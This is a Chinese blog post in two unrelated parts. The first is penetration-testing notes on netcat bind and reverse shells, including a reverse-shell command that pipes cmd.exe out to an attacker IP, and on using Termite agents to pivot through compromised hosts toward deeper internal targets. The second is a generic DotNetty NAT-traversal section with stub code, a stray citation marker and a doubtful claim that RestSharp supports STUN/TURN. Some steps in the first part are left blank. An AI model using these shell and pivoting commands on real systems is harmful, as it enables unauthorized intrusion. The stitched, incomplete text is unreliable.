CS的下载+内网穿透

CS的下载

纵向渗透:NC 瑞士军刀菜刀是一个hyyp协议         NC是TCP

NC连接后没有任何回显

先受控房  nc.exe -l -p 12345

然后攻击方  nc.exe ip port 12345

扫描端口

上传和 nc.exe 同一目录下的文件

跳板机工具和NC的实际操作以及Termite联合管理

和nc是一样的先开监听 要先把agent对应系统文件上传到目标然后运行  然后我们的机子就是用命令连接 但是根据网络拓扑图 我们现实情况要更复杂些  接下来我将解释为什么复杂

首先目标机获取shell 使用命令 uname -r 输出操作系统信息看看版本

然后找到对应版本然后将我们的agent文件上传上去

1.物理机连接03  这是第一个被我们趁虚而入的机子 我们可以

nc -nvv 可以显示机子的详细信息、

当然这是对面没有防火墙的方法现实中 我们要利用对面的shell 我们通过对面主动连接我们然后我们再操控对面 看第二点使用的命令

2.我们物理机

nc -l -p 12345

然后服务器:

nc 192.168.0.106 12345 -t -e cmd.exe 这样就是对面服务器通过防火墙主动连接我们

这样我们是控制对面的shell

3.接下来我们物理机输入几个命令 就能这样 物理机 -> 03 -> 07 -> 最深的渗透目标

首先

然后

show查看我们连接上的是不是03

然后goto 1 代表我们进入03跳板机里面    

然后连07

### 使用 DotNetty 实现内网穿透 为了实现内网穿透,通常会采用反向代理或隧道服务的方式。DotNetty 是 .NET 平台上基于 Netty 的异步事件驱动网络应用框架,可以用于构建高性能的 TCP/UDP 客户端和服务端应用程序[^1]。 #### 方法一:通过 WebSocket 隧道实现内网穿透 WebSocket 协议允许客户端与服务器之间建立持久连接并进行双向通信。利用这一特性,可以通过公共互联网上的 WebSocket 服务器作为中介来转发数据包给位于私有网络中的目标设备。 ##### 步骤说明: - 创建一个外部可访问的 WebSocket Server。 - 私有网络内的 Client 连接到此 Websocket server 上注册自己。 - 当外界想要访问内部资源时,则先连到 websocket server 请求转接至指定 client。 ```csharp // WebSocketServer.cs using System; using System.Net.Sockets; using System.Text; using System.Threading.Tasks; public class WebSocketServer : IDisposable { private TcpListener _listener; public async Task StartAsync(int port) { _listener = new TcpListener(System.Net.IPAddress.Any, port); _listener.Start(); while (true){ var client = await _listener.AcceptTcpClientAsync().ConfigureAwait(false); // Handle each connection on a separate task. _ = Task.Run(() => HandleConnection(client)); } } private void HandleConnection(TcpClient tcpClient) { ... } public void Dispose() { if (_listener != null && _listener.Server.IsBound) _listener.Stop(); } } ``` #### 方法二:使用 STUN/TURN 协议配合 NAT Traversal 技术 STUN 和 TURN 是两种常用的NAT穿越协议。其中 STUN 主要用来获取公网 IP 地址以及检测 NAT 类型;而 TURN 则提供了更可靠的中继机制,在无法直接打洞的情况下也能完成通讯。 对于 C# 开发者来说,可以直接调用第三方库如 `RestSharp` 或 RESTful API 来集成这些功能。 #### 示例代码片段展示如何初始化 DotNetty SocketChannel 及其处理器链路配置: ```csharp var bootstrap = new Bootstrap() .Group(group) .Channel<TcpSocketChannel>() .Option(ChannelOption.TcpNodelay, true) .Handler(new ActionChannelInitializer<ISocketChannel>(channel => { IChannelPipeline pipeline = channel.Pipeline; // Add handlers to the pipeline here... pipeline.AddLast("handler", new SimpleChannelInboundHandler<object>()); })); await bootstrap.ConnectAsync(endpoint).ConfigureAwait(false); ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值